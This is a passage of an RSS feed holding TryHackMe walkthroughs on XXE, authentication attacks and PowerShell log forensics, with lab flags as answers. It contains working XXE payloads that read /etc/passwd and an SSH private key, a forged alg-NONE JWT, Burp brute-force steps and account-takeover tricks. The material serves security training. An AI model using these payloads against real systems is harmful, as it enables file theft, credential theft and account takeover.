file?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*uRx_z34XanaB5_UNpiE-Iw.png" /></figure><blockquote>STOR</blockquote><p>In the FTP section, what is the content of the secret.txt file?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*IqNGRfNOAcYoIlYkB-AQhA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*xbO2DxXJzxbWa7Re7LWWlQ.png" /></figure><blockquote>123^-^321</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4fb57229a47e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XXE - TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@buddhsen-tripathi/xxe-tryhackme-walkthrough-6f6010f3c151?source=rss-ca66ec38e0fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f6010f3c151</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[xxe]]></category>
            <dc:creator><![CDATA[Buddhsen Tripathi]]></dc:creator>
            <pubDate>Sat, 25 Dec 2021 11:00:54 GMT</pubDate>
            <atom:updated>2021-12-25T11:01:40.952Z</atom:updated>
            <content:encoded><![CDATA[<p>An XML External Entity (XXE) attack is a vulnerability that abuses features of XML parsers/data. It often allows an attacker to interact with any backend or external systems that the application itself can access and can allow the attacker to read the file on that system. They can also cause Denial of Service (DoS) attack or could use XXE to perform Server-Side Request Forgery (SSRF) inducing the web application to make requests to other applications. XXE may even enable port scanning and lead to remote code execution.</p><p>There are two types of XXE attacks: in-band and out-of-band (OOB-XXE).<br>1) An in-band XXE attack is the one in which the attacker can receive an immediate response to the XXE payload.</p><p>2) out-of-band XXE attacks (also called blind XXE), there is no immediate response from the web application and attacker has to reflect the output of their XXE payload to some other file or their own server.</p><p>Deploy the VM</p><blockquote><em>No answer needed — Submit</em></blockquote><h4>Task 2 - eXtensible Markup Language</h4><p>Before we move on to learn about XXE exploitation we’ll have to understand XML properly.</p><p><strong>What is XML?</strong></p><p>XML (eXtensible Markup Language) is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. It is a markup language used for storing and transporting data.</p><p><strong>Why we use XML?</strong></p><p>1. XML is platform-independent and programming language independent, thus it can be used on any system and supports the technology change when that happens.</p><p>2. The data stored and transported using XML can be changed at any point in time without affecting the data presentation.</p><p>3. XML allows validation using DTD and Schema. This validation ensures that the XML document is free from any syntax error.</p><p>4. XML simplifies data sharing between various systems because of its platform-independent nature. XML data doesn’t require any conversion when transferred between different systems.</p><p><strong>Syntax</strong></p><p>Every XML document mostly starts with what is known as XML Prolog.</p><p>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</p><p>Above the line is called XML prolog and it specifies the XML version and the encoding used in the XML document. This line is not compulsory to use but it is considered a `good practice` to put that line in all your XML documents.</p><p>Every XML document must contain a `ROOT` element.</p><p>Ex:</p><p>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>&lt;mail&gt;<br> &lt;to&gt;falcon&lt;/to&gt;<br> &lt;from&gt;feast&lt;/from&gt;<br> &lt;subject&gt;About XXE&lt;/subject&gt;<br> &lt;text&gt;Teach about XXE&lt;/text&gt;<br>&lt;/mail&gt;</p><p>In the above example the &lt;mail&gt; is the ROOT element of that document and &lt;to&gt;, &lt;from&gt;, &lt;subject&gt;, &lt;text&gt; are the children elements. If the XML document doesn&#39;t have any root element then it would be consideredwrong or invalid XML doc.</p><p>Another thing to remember is that XML is a case sensitive language. If a tag starts like &lt;to&gt; then it has to end by &lt;/to&gt; and not by something like &lt;/To&gt;(notice the capitalization of T)</p><p>Like HTML we can use attributes in XML too. The syntax for having attributes is also very similar to HTML.</p><p>Ex:</p><p>&lt;text category = &quot;message&quot;&gt;You need to learn about XXE&lt;/text&gt;</p><p>In the above example category is the attribute name and message is the attribute value.</p><p>Full form of XML</p><blockquote>Extensible Markup Language</blockquote><p>Is XML case sensitive?</p><blockquote>yes</blockquote><p>Is it compulsory to have XML prolog in XML documents?</p><blockquote>no</blockquote><p>Can we validate XML documents against so schema?</p><blockquote>yes</blockquote><p>How can we specify XML version and encoding in XML document?</p><blockquote>XML prolog</blockquote><h4>Task 3 - DTD</h4><p>Before we move on to start learning about XXE we’ll have to understand what is DTD in XML.</p><p>DTD stands for Document Type Definition. A DTD defines the structure and the legal elements and attributes of an XML document.</p><p>Let us try to understand this with the help of an example. Say we have a file named note.dtd with the following content:</p><p>&lt;!DOCTYPE note [ &lt;!ELEMENT note (to,from,heading,body)&gt; &lt;!ELEMENT to (#PCDATA)&gt; &lt;!ELEMENT from (#PCDATA)&gt; &lt;!ELEMENT heading (#PCDATA)&gt; &lt;!ELEMENT body (#PCDATA)&gt; ]&gt;</p><p>Now we can use this DTD to validate the information of some XML document and make sure that the XML file conforms to the rules of that DTD.</p><p>Ex: Below is given an XML document that uses note.dtd</p><p>&lt;?xml version=”1.0&quot; encoding=”UTF-8&quot;?&gt;<br>&lt;!DOCTYPE note SYSTEM “note.dtd”&gt;<br>&lt;note&gt;<br> &lt;to&gt;falcon&lt;/to&gt;<br> &lt;from&gt;feast&lt;/from&gt;<br> &lt;heading&gt;hacking&lt;/heading&gt;<br> &lt;body&gt;XXE attack&lt;/body&gt;<br>&lt;/note&gt;</p><p>So now let’s understand how that DTD validates the XML. Here’s what all those terms used in note.dtd mean</p><ul><li>!DOCTYPE note — Defines a root element of the document named <strong>note</strong></li><li>!ELEMENT note — Defines that the note element must contain the elements: “to, from, heading, body”</li><li>!ELEMENT to — Defines the to element to be of type &quot;#PCDATA&quot;</li><li>!ELEMENT from — Defines the from element to be of type &quot;#PCDATA&quot;</li><li>!ELEMENT heading — Defines the heading element to be of type &quot;#PCDATA&quot;</li><li>!ELEMENT body — Defines the body element to be of type &quot;#PCDATA&quot;</li></ul><p><strong>NOTE</strong>: #PCDATA means parseable character data.</p><p>With what extension do you save a DTD file?</p><blockquote>dtd</blockquote><p>How do you define a new ELEMENT?</p><blockquote>!ELEMENT</blockquote><p>How do you define a ROOT element?</p><blockquote>!DOCTYPE</blockquote><p>How do you define a new ENTITY?</p><blockquote>!ENTITY</blockquote><h4>Task 4 - XXE payload</h4><p>Now we’ll see some XXE payload and see how they are working.</p><p>1) The first payload we’ll see is very simple. If you’ve read the previous task properly then you’ll understand this payload very easily.</p><p>&lt;!DOCTYPE replace [&lt;!ENTITY name &quot;feast&quot;&gt; ]&gt;<br> &lt;userInfo&gt;<br> &lt;firstName&gt;falcon&lt;/firstName&gt;<br> &lt;lastName&gt;&amp;name;&lt;/lastName&gt;<br> &lt;/userInfo&gt;</p><p>As we can see we are defining a ENTITY called name and assigning it a value feast. Later we are using that ENTITY in our code.</p><p>2) We can also use XXE to read some file from the system by defining an ENTITY and having it use the SYSTEM keyword</p><p>&lt;?xml version=&quot;1.0&quot;?&gt;<br>&lt;!DOCTYPE root [&lt;!ENTITY read SYSTEM &#39;file:///etc/passwd&#39;&gt;]&gt;<br>&lt;root&gt;&amp;read;&lt;/root&gt;</p><p>Here again, we are defining an ENTITY with the name read but the difference is that we are setting it value to `SYSTEM` and path of the file.</p><p>If we use this payload then a website vulnerable to XXE(normally) would display the content of the file /etc/passwd.</p><p>In a similar manner, we can use this kind of payload to read other files but a lot of times you can fail to read files in this manner or the reason for failure could be the file you are trying to read.</p><p>Try the payload mentioned in description on the website.</p><blockquote><em>No answer needed — Submit</em></blockquote><h4>Task 5 - Exploiting</h4><p>Now let us see some payloads in action. The payload that I’ll be using is the one we saw in the previous task.</p><p>1) Let’s see how the website would look if we’ll try to use the payload for displaying the name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*r5gaUJg4Q38TsGhi.png" /></figure><p>On the left side, we can see the burp request that was sent with the URL encoded payload and on the right side we can see that the payload was able to successfully display name falcon feast</p><p>2) Now let’s try to read the /etc/passwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6r59JBp-OSNv9VrQ.png" /></figure><p>Try to display your own name using any payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*a6JQ4S0pVJISjkTlMTFXrg.png" /></figure><blockquote><em>No answer needed — Submit</em></blockquote><p>See if you can read the /etc/passwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*NVAGawYdbbYzb1SkIVfmMg.png" /></figure><pre>&lt;?xml version=”1.0&quot;?&gt;<br>&lt;!DOCTYPE root [&lt;!ENTITY read SYSTEM ‘file:///etc/passwd’&gt;]&gt;<br>&lt;root&gt;&amp;read;&lt;/root&gt;</pre><blockquote><em>No answer needed — Submit</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*lGIDAJpXJ9bR7id2Hrs3sQ.png" /></figure><p>What is the name of the user in /etc/passwd</p><blockquote>falcon</blockquote><p>Where is falcon’s SSH key located?</p><pre>&lt;?xml version=&quot;1.0&quot;?&gt;<br>&lt;!DOCTYPE root [&lt;!ENTITY read SYSTEM &#39;file://home/falcon/.ssh/id_rsa&#39;&gt;]&gt;<br>&lt;root&gt;&amp;read;&lt;/root&gt;</pre><blockquote><em>No answer needed — Submit</em></blockquote><p>What are the first 18 characters for falcon’s private key</p><blockquote>MIIEogIBAAKCAQEA7b</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f6010f3c151" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Authenticate - TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@buddhsen-tripathi/authenticate-tryhackme-walkthrough-e25f8731d371?source=rss-ca66ec38e0fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/e25f8731d371</guid>
            <category><![CDATA[authenticate]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[web-app-security]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Buddhsen Tripathi]]></dc:creator>
            <pubDate>Wed, 22 Dec 2021 11:40:55 GMT</pubDate>
            <atom:updated>2021-12-22T11:47:07.036Z</atom:updated>
            <content:encoded><![CDATA[<p>In today’s time, the use of the authentication system is increasing because of the increase in the number of services that are coming up on the internet. But not everyone knows how to either make proper authentication software or how to properly set up one.</p><p>The aim of this room is to teach how to find authentication bugs and how you can exploit them.</p><p>Answer the questions below</p><p>Deploy the VM</p><blockquote>No answer needed — Submit</blockquote><h4>Task 2 - Dictionary attack</h4><p>The very obvious method of attacking any login form is just to brute force the credentials. But in this kind of brute force, we don’t simply try numbers or simple alphabets. What we do is take an existing dictionary of commonly used username/passwords and use those to see if we can find the right combination. This is known as <strong>Dictionary Attack.</strong></p><p>To perform a dictionary attack we can use a lot of tools like Hydra or Medusa but the issue with these CLI tools is that we need to provide a lot of arguments to them started and that could be confusing. That is why when trying a dictionary attack on a web application/form it’s better to use Burp Suite. In Burp we can capture the login request and then use intruder to perform the attack.</p><p>If you are not familiar with burp suite then I would recommend that you first complete the <strong>Learn Burp Suite</strong> room.<br>Now let me show you an example using the Burp Suite<strong>:</strong></p><p><strong>1)</strong> Connect on port 8888</p><p><strong>2) </strong>Now while the <strong>Capture</strong> is <strong>On </strong>in burp suite, enter any values you like in the username and password field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*aKh4dEJPOeUAw14LveE7Dg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*LELfpoqBZlCMh0diYxn-Mg.png" /></figure><p>Right click and select ‘Send to Intruder’</p><p><strong>3) </strong>Send this request to the intruder and for the position of the payload, we are just going to guess the password for the user <strong>jack</strong>. For payload, you can use any know default password list or maybe load a part of rockYou.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*n8BTo1yy2ih97y2xPJS5oQ.png" /></figure><p>Press clear§ and click on add§ and select the password field.</p><p>Go to Payloads Tab and Load the wordlist in the Payload Options</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*jGu2SYol25v1rC__NqzJPQ.png" /></figure><p>Press Start Attack and wait till burp cracks the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*B_8XvkZRQbcqOFMjfo0bOw.png" /></figure><p>Repeat the process with<strong> user=mike</strong> for second question.</p><p><strong>Note: </strong>Here I know that there exists a user named jack and that is why I am using that. In a real-life scenario, you might have to guess both the username and password.</p><p><strong>4) </strong>Start the attack and wait for a bit. If you did everything correctly you’ll notice that one of the requests sent by an intruder will have a bigger response then all of the others.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GNzZzSiG_GF1_S_X.png" /></figure><p>As you can see in the above screenshot that on the 5th request the length value is <strong>530</strong> and the length of the content in other requests is 480. This could mean that the burp was able to successfully login in <strong>Jack’s</strong> account using the password <strong>12345678.</strong></p><p>Answer the questions below</p><p>What is the flag you found after logging as <strong>Jack</strong>?</p><blockquote>fad9ddc1feebd9e9bca05f02dd89e271</blockquote><p>Now try the same thing for username <strong>mike</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*DdHxffxs2-mTMGU-ATX4lg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*UZE2HZAkesvNsad8c0AYHQ.png" /></figure><p>mike’s password is 12345, we can login to find the flag for mike.</p><blockquote>No answer needed — Submit</blockquote><p>What is the flag you found after logging as <strong>Mike</strong>?</p><blockquote>e1faaa144df2f24aa0a9284f4a5bb578</blockquote><h4>Task 3 - Re-registration</h4><p>In the previous task, we saw that it is possible to just simply guess/brute force the password with the help of a password dictionary. In this task, we are going to focus on a vulnerability that is unique in its own way.</p><p>A lot of times what happens is that developer forgets to sanitize the input(username &amp; password) given by the user in the code of their application which can make them vulnerable to things like SQL injection but SQLi could be a bit difficult to exploit. So we are going to focus on a vulnerability that happens because of a developer’s mistake but is very easy to exploit i.e re-registration of an existing user.</p><p>Let’s understand this with the help of an example, say there is an existing user with the name <strong>admin</strong> and now we want to get access to their account so what we can do is try to re-register that username but with slight modification. We are going to enter “ admin”(notice the space in the starting). Now when you enter that in the username field and enter other required information like email id or password and submit that data. It will actually register a new user but that user will have the same right as normal admin. And that new user will also be able to see all the content present under the user <strong>admin</strong>.</p><p>To see this in action go to port <strong>8888 </strong>and try to register a user name <strong>darren</strong>, you’ll see that user already exists so then try to register a user <strong>“ </strong>darren<strong>” </strong>and you’ll see that you are now logged in and will be able to see the content present only in Darren’s account which in our case is the flag that you need to retrieve.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*c2duW-3IG--N12HW5p1Gwg.png" /></figure><p>Sign in with username(&lt;space&gt;darren) and password you used for registering to login and view darren’s content.</p><p>What is the flag that you found in darren’s account?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*figc0i1_cOGtp1BLMX78_g.png" /></figure><blockquote>fe86079416a21a3c99937fea8874b667</blockquote><p>Now try to do the same trick and see if you can login as <strong>arthur.</strong></p><blockquote>No answer needed — Submit</blockquote><p>What is the flag that you found in arthur’s account?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*JejKPABB3mbUD2YqDSBTRA.png" /></figure><blockquote>d9ac0f7db4fda460ac3edeb75d75e16e</blockquote><h4>Task 4 - JSON Web Token</h4><p>JSON Web Token(JWT) is one of the commonly used methods for authorization. This is a kind of cookie that is generated using HMAC hashing or public/private keys. So unlike any other kind of cookie, it lets the website know what kind of access the currently logged in user has. The only special thing about JWT is that they are in JSON format(after decoding).</p><p>JWT can be divided into 3 parts separated by a dot(.)</p><p>1) <strong>Header: </strong>This consists of the algorithm used and the type of the token.</p><p>{ &quot;alg&quot;: &quot;HS256&quot;, &quot;typ&quot;: &quot;JWT&quot;}</p><p>alg could be HMAC, RSA, SHA256 or can even contain None value.</p><p>2) <strong>Payload: </strong>This is part that contains the access given to the certain user etc. This can vary from website to website, some can just have a simple username and some ID and others could have a lot of other details.</p><p>3) <strong>Signature: </strong>This is the part that is used to make sure that the integrity of the data was maintained while transferring it from a user’s computer to the server and back. This is encrypted with whatever algorithm or <strong>alg</strong> that was passed in the header’s value. And this can only be decrypted with a predefined secret(which should be difficult to)</p><p>Now to put all the 3 part together we base64 encode all of them separated by a dot(.) so it would look something like:</p><p>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c</p><p><strong>Note: </strong>This example was taken from <a href="https://jwt.io/#debugger-io">jwt.io</a> and you should check that website out if you want to learn more about JWT.</p><p><strong>Exploitation</strong></p><p>If used properly this is a very secure way of authorization but the problem is with using is “properly”. A lot of developers misconfigure their system leaving it open to exploitation.</p><p>Now one of the methods to exploit this is to perform a brute force/dictionary attack and find the secret used for encrypting the JWT token and then used that to generate new tokens. But here we are not going to do that, we are going to see a very amazing way of exploiting this.</p><p>If you remember, in the Header section I said that the <strong>alg</strong> can be whatever the algorithm is used and also it can be <strong>None</strong> if no encryption is to be used. Now, this should not be used when the application is in production but again the problem of misconfiguration comes in and make the application vulnerable to this kind of attack. The attack is that an attacker can log in as low privilege user says <strong>guest</strong> and then get the JWT token for that user and then decode the token and edit the headers to use set <strong>alg</strong> value to <strong>None</strong>. This would mean that no encryption has to be used therefore the attacker wouldn’t need to the secret used for encryption.</p><p><strong>Practical</strong></p><p>Let’s see this method in practice. For this challenge visit the port 5000.</p><p>It is a very simple login page and in that, you can log in via two users: user and user2. Now first let’s try to login with the credentials of <strong>user:user</strong> . To do so first enter those credentials then click on the <strong>Authenticate</strong> button and then enable the capture in burp suite and then click on <strong>the Go </strong>button. In the burp tab, you should see a request to <strong>/protected</strong> and there you’ll see the JWT token.</p><p><a href="https://imgur.com/sLKHY9">https://imgur.com/sLKHY9</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/0*lZF0HRc7RRHtijxX.png" /></figure><p>Now take this JWT token and then you can decode it part by part.</p><p>So if we decode the first part, which will do: {&quot;typ&quot;:&quot;JWT&quot;,&quot;alg&quot;:&quot;HS256&quot;}</p><p>and decoding the 2nd part, we will get: {&quot;exp&quot;:1586620929,&quot;iat&quot;:1586620629,&quot;nbf&quot;:1586620629,&quot;identity&quot;:1}</p><p>If you try to decode the 3rd part then you’ll get some gibberish. But that is okay we only need the first and the second part.</p><p>Now if we notice the <strong>identity</strong> value that is probably being used to identify the user but if you’ll just edit that then it won’t work because as I said the 3rd part is encrypted. So to bypass this we will make changes in the header as well as the value of the identity.</p><p>Encode the following string with base64 and that will be our first part</p><p>{&quot;typ&quot;:&quot;JWT&quot;,&quot;alg&quot;:&quot;NONE&quot;}</p><p>For the second part, we’ll encode the following string:</p><p>{&quot;exp&quot;:1586620929,&quot;iat&quot;:1586620629,&quot;nbf&quot;:1586620629,&quot;identity&quot;:2}</p><p>Notice how we changed the value of <strong>identity</strong> from <strong>1 </strong>to <strong>2</strong>.</p><p>Since we placed the alg value to None we don’t have to add a 3rd part or the encrypted value so we can just put a dot(.) after 2nd part and leave it like that. So the final string would look like:</p><p>eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K.eyJleHAiOjE1ODY3MDUyOTUsImlhdCI6MTU4NjcwNDk5NSwibmJmIjoxNTg2NzA0OTk1LCJpZGVudGl0eSI6MH0K.</p><p>Now open the developer’s tools in your browser and edit the stored cookie of the website to this new one and then just press the <strong>Go</strong> button and you’ll notice that it will prompt “Welcome user2: guest2”.</p><p>In a similar manner, you can try to play and find other users on the website.</p><p>This kind of misconfiguration in the authentication system is common and could be exploited to escalate privileges or steal information.</p><p>You can use <a href="https://gchq.github.io/CyberChef/">cyberchef</a> to decode and encode</p><p>Press F12 to open the develop console.</p><p>go to storage &gt; local storage and notice the access token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4Ugw9lfa9sET9q7t.png" /></figure><p>As you can see identity is replaces with 0. The first user created is often the admin account.</p><p>Now edit that token to the one in the task</p><pre>eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K.eyJleHAiOjE1ODY3MDUyOTUsImlhdCI6MTU4NjcwNDk5NSwibmJmIjoxNTg2NzA0OTk1LCJpZGVudGl0eSI6MH0K.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*2n-Ks9uzHLUR3OSLM7GqdA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*g6XYlLpIXLocJb3R39eQLg.png" /></figure><p>Answer the questions below</p><p>Use the same method to find identity of admin user and retrieve the flag?</p><blockquote>92498880383088033228</blockquote><h4>Task 5 - No Auth</h4><p>In this I am going to show you how a lot of systems don’t even have proper authentication and their system is just left open for anyone to exploit it.</p><p>A lot of time on websites we see that when we register a user and login with our credentials we are given a certain id which either is completely a number or ends with a number. Most of the time developers secures their application but sometime in some places, it could happen that just by changing that number we are able to see some hidden or private data.</p><p>To test this go to port <strong>7777</strong>. On that just create an account. Once the account is created visit your <strong>Private Space</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/0*G-hY0n49T35BM1PA.png" /></figure><p>As you can see in the image above the URL have <strong>/users/1</strong>. Try to change that value to 2 and we will get access to the admin account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/0*tf_m62YhvShtCluX.png" /></figure><p>The chance of finding this kind of vulnerability is very low but it could be a very serious bug if you get lucky and found something like this.</p><p>Answer the questions below</p><p>Find the way to get into superadmin ad</p><p>Press create user without filling in a thing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*rxXeGCK3dGrks1wfM97wvQ.png" /></figure><p>Notice the url /users/1? , replace 1 with 0 to get access to superadmin account</p><blockquote>No answer needed — Submit</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*uxPPz7vXGfxbt4InTjdOeA.png" /></figure><p>What is the password for superadmin account?</p><blockquote>abcd1234</blockquote><p>What is the flag you found in superadmin account?</p><blockquote>72102933396288983011</blockquote><p>We’ve completed the Authenticate Room, next recommended room: XXE.</p><p>Thank you, Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e25f8731d371" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber Day 8 — Santa’s Bag of Toys Walkthrough]]></title>
            <link>https://medium.com/@buddhsen-tripathi/advent-of-cyber-day-8-santas-bag-of-toys-walkthrough-a478231709c1?source=rss-ca66ec38e0fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/a478231709c1</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[advent-of-cyber-3]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Buddhsen Tripathi]]></dc:creator>
            <pubDate>Mon, 20 Dec 2021 11:59:15 GMT</pubDate>
            <atom:updated>2021-12-25T02:09:19.230Z</atom:updated>
            <content:encoded><![CDATA[<h3>Advent of Cyber 3 Day 8 — Santa’s Bag of Toys Walkthrough</h3><p>McSkidy was notified of some terrible news! Santa’s laptop, which he uses to prepare his bag of toys for Christmas, is missing! We believe a minion at the Grinch Enterprise stole it, but we need to find out for sure. It is up to us to determine what actor compromised the laptop and recover Santa’s bag of toys!</p><p>Unfortunately, The Best Festival Company had minimal monitoring tools on Santa’s laptop (he is the boss, after all)! All we have to work with are some PowerShell Transcription Logs we were able to remotely recover just after it went missing. <strong><em>You can find the transcription logs within the </em></strong><strong>SantasLaptopLogs<em> folder on the Desktop of the attached Windows virtual machine.</em></strong></p><p>If you aren’t familiar, PowerShell Transcription Logs capture the input and output of Windows PowerShell commands, allowing an analyst to review what happened when. Typically, PowerShell Transcription can be enabled by Group Policy, but another method to turn on this logging is by configuring the Windows Registry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*vMddT0QapF_nKAvA.png" /></figure><p>While you do not have to use these commands for this task, these will turn on PowerShell Transcription Logging for a local host if entered in an Administrator command prompt:</p><pre>reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableTranscripting /t REG_DWORD /d 0x1 /f<br>reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v OutputDirectory /t REG_SZ /d C:/ /f<br>reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableInvocationHeader /t REG_DWORD /d 0x1 /f</pre><p>The Windows Registry is a large database of operating system settings and configurations. It is organized by “hives”, with each hive containing “keys” and their corresponding “values.” PowerShell Transcription Logging can be enabled in this way “per-user” via the HKEY_CURRENT_USER registry hive, or across the entire host via the HKEY_LOCAL_MACHINE registry hive. Thankfully, Santa&#39;s laptop had this enabled machine-wide!</p><p><strong><em>Note that for this task, you will interact with a Windows virtual machine to perform your analysis. For the sake of storyline, this is not Santa’s laptop… rather, you have sample files that were recovered before the laptop was stolen.</em></strong></p><p><strong>Answer the questions below</strong></p><p><strong>Read the premise above, start the attached Windows analysis machine and find the transcription logs in the </strong><strong>SantasLaptopLogs folder on the Desktop.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*FLb7fg5aT_hps6kNDC-u7Q.png" /></figure><blockquote>No answer needed — Submit</blockquote><p>Each transcription log is a simple plain text file that you can open in any editor of your choice. While the filenames are random, you can get an idea as to which log “comes first” by looking at the Date Modified or Date Created attributes, or the timestamps just before the file extension!</p><p>Open the first transcription log. You can see the commands and output for everything that ran within PowerShell, like whoami and systeminfo!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*O0TW8Ka9Bez9t0e3vKvmTQ.png" /></figure><blockquote>Microsoft Windows 11 Pro</blockquote><p>Review each transcription log to get an idea for what activity was performed on the laptop just after it went missing. In the “second” transcription log, it seems as if the perpetrator created a backdoor user account!</p><p><strong>What was the password set for the new “backdoor” account?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*x7APf8e1ENk4xaWfFaFiiw.png" /></figure><blockquote>grinchstolechristmas</blockquote><p>In one of the transcription logs, the bad actor interacts with the target under the new backdoor user account, and copies a unique file to the Desktop. Before it is copied to the Desktop, <strong>what is the full path of the original file?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*f38f3IESLTt_W_oyua6dKg.png" /></figure><blockquote>C:\Users\santa\AppData\Local\Microsoft\Windows\UsrClass.dat</blockquote><p>The actor uses a <a href="https://lolbas-project.github.io/lolbas/Binaries/Certutil/">Living Off The Land </a>binary (LOLbin) to encode this file, and then verifies it succeeded by viewing the output file. <strong>What is the name of this LOLbin?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*iV8wrtZp1_1iBEOGw4jMXQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*N4vhxHCFX9W9DF0riuGpZQ.png" /></figure><blockquote>certutil.exe</blockquote><p>The UsrClass.dat file was encoded with Base64, which thankfully, you can decode and recover the original UsrClass.dat file! Base64 decode the contents between the -----BEGIN CERTIFICATE----- and -----END CERTIFICATE----- markers within the transcription log with CyberChef, which you have a local copy of on the Desktop of your analysis machine.</p><p>This file can be used to aid in our investigation. The UsrClass.dat file contains &quot;Shellbags,&quot; or artifacts contained within the Windows registry that store user preferences while viewing folders within the Windows Explorer GUI. If you could carve out this information, you could get an idea as to what user activity was performed on the laptop before it was stolen or compromised! For more details and information on Shellbags, you are strongly encouraged to do some <a href="https://shehackske.medium.com/windows-shellbags-part-1-9aae3cfaf17">extra reading</a> or research. :)</p><p>To extract the Shellbags information within this UsrClass.dat file, we will use the &quot;<a href="https://www.sans.org/tools/shellbags-explorer/">Shellbags Explorer</a>&quot; graphical utility put together by <a href="https://ericzimmerman.github.io/#!index.md">Eric Zimmerman</a>. This utility is found readily available inside the ShellBagsExplorer folder on the Desktop of your Windows machine, with the application name ShellBagsExplorer.exe .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/0*CfVFFLzeuM6Eoz3X.png" /></figure><p>Copy all the content between — Begin Certificate — and — End Certificate — and head over to desktop shortcut to decode base64 and retrieve original UserClass.dat file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*aXBoraJWEYV5L89dSxzlhg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MQid6Z6GJQ_Yg6zKfPnzFw.png" /></figure><p>Download and save the file on the desktop.</p><p>Head over to desktop &gt; ShellBagsExplorer folder and open the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0tYZps5acUVQ0f0Rv8pVnA.png" /></figure><p><strong>Read the above and open the </strong><strong>ShellBagsExplorer.exe</strong> <strong>application found in the folder on your Desktop.</strong></p><blockquote>No answer needed — Submit</blockquote><p>With ShellBagsExplorer.exe open, use the top-bar menu to select File -&gt; Load offline hive and navigate to the location of where you saved the decoded UsrClass.dat . Load in the UsrClass.dat file and begin to explore the Shellbags discovered!</p><p>Select the decoded file we just saved on the desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H3KVJgvOv5YDMaIqpjLYVw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*4WPqRZ7wI5SXZyNQIPLzGg.png" /></figure><p>Under the Desktop folder, there seems to be a suspicious folder named 